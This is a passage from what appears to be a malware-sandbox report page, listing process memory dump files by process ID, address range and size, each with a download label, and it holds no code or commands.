                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/984-136-0x0000000000400000-0x000000000046F000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            444KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/984-140-0x0000000002012000-0x0000000002013000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1048-128-0x0000000000070000-0x0000000000076000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            24KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1048-129-0x0000000000060000-0x000000000006C000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            48KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1228-98-0x0000000000070000-0x0000000000077000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            28KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1228-99-0x0000000000060000-0x000000000006C000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            48KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1356-65-0x0000000003CB0000-0x0000000003CC7000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            92KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1356-149-0x0000000003C30000-0x0000000003C46000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            88KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1404-74-0x0000000000220000-0x00000000002B1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            580KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1404-79-0x0000000000400000-0x000000000049E000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            632KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1592-205-0x0000000000400000-0x00000000004AD000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            692KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1592-200-0x00000000004B0000-0x000000000054D000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            628KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1616-97-0x00000000000F0000-0x000000000015B000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            428KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1616-95-0x00000000001A0000-0x0000000000214000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            464KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1616-91-0x00000000740F1000-0x00000000740F3000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1640-228-0x0000000002A20000-0x0000000003346000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            9.1MB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1640-229-0x0000000000400000-0x0000000000D41000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            9.3MB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1692-150-0x0000000000090000-0x0000000000095000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            20KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1692-151-0x0000000000080000-0x0000000000089000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1700-242-0x00000000002B0000-0x00000000002C3000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            76KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1700-243-0x0000000000400000-0x000000000045E000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            376KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1844-284-0x0000000000570000-0x0000000000571000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1844-289-0x0000000000440000-0x0000000000491000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            324KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1844-285-0x0000000004F40000-0x00000000051B1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            2.4MB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1948-133-0x0000000000090000-0x0000000000094000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            16KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1948-134-0x0000000000080000-0x0000000000089000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1952-191-0x0000000000400000-0x0000000000664000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            2.4MB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1968-291-0x000000001DC00000-0x000000001DEFF000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            3.0MB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1968-281-0x0000000002070000-0x0000000002072000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1968-280-0x000007FEED7F0000-0x000007FEEE886000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            16.6MB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1988-108-0x0000000000080000-0x000000000008B000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            44KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1988-104-0x0000000074071000-0x0000000074073000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/1988-106-0x0000000000090000-0x0000000000097000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            28KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2008-113-0x0000000000060000-0x000000000006F000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            60KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2008-107-0x0000000000070000-0x0000000000079000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2040-206-0x0000000001DB0000-0x0000000001DB1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2084-227-0x0000000001FD0000-0x0000000001FD2000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2084-259-0x000000001C860000-0x000000001CB5F000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            3.0MB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2428-288-0x000007FEFBEF1000-0x000007FEFBEF3000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2476-255-0x0000000000240000-0x00000000002A0000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            384KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2756-267-0x0000000000400000-0x000000000045E000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            376KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2896-263-0x0000000000080000-0x0000000000095000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            84KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2964-271-0x0000000000400000-0x0000000000417000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            92KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/2988-275-0x00000000001D0000-0x00000000001D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/3016-286-0x000000001C510000-0x000000001C80F000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            3.0MB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/3016-279-0x00000000003F0000-0x00000000003F2000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/3484-310-0x0000000000C60000-0x0000000000C61000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/3524-313-0x0000000000400000-0x000000000041C000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            112KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/8040-297-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            80KB

                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                          • memory/8088-300-0x0000000001E40000-0x0000000001E7C000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            240KB

                                                                                                                                                                                                                            Download